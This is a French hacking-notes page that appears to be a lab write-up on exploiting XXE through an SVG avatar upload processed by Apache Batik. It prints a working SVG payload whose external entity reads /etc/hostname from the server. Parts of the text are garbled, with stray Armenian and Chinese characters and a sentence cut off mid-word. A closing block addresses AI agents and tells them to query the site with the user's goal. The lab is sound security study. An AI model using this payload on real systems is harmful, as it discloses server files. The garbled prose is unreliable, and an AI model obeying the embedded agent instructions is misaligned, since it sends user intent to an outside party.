> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-via-malicious-image-upload.md).

# XXE via téléversement d'image malveillante

### Exploitation de XXE via le téléchargement d’un fichier image

Exploiter une vulnérabilité XXE en envoyant une image malveillante (SVG) qui, lors du traitement par la bibliothèque Apache Batik, révèle le contenu d’un fichier local. L’exercice պահանջ de téléverser un avatar SVG affichant `/etc/hostname` le contenu puis de soumettre le nom d’hôte comme solution.

Le site propose un formulaire pour ajouter d的avatar pour les commentaires. En interceptant le d

<figure><img src="/files/4b005295ec62fc586822e2fd97d0125eb4eed201" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/90bed7f82fa9cb6eb7dabe013433d10fa7b15b81" alt=""><figcaption></figcaption></figure>

Créer un fichier SVG contenant une `<!DOCTYPE>` instruction qui définit une entité externe pointant vers `file:///etc/hostname` puis insérer cette entité dans le texte SVG afin qu’une fois rendu/traité, le contenu du fichier soit injecté dans l’image affichée.

```svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

<figure><img src="/files/e4b41bb57c6cd0061c4e3285ec1c08eba31e1f26" alt=""><figcaption></figcaption></figure>

Après le téléversement, l’affichage de l’avatar dans la section des commentaires montre que le serveur a interprété le SVG et renvoyé la valeur de l’entité — le contenu de `/etc/hostname` apparaît dans l’image, ce qui permet de récupérer le nom d’hôte et de soumettre la solution.

<figure><img src="/files/99c3cb5e1e2141069203451d04801a2b91d1efd5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/xxe-via-malicious-image-upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
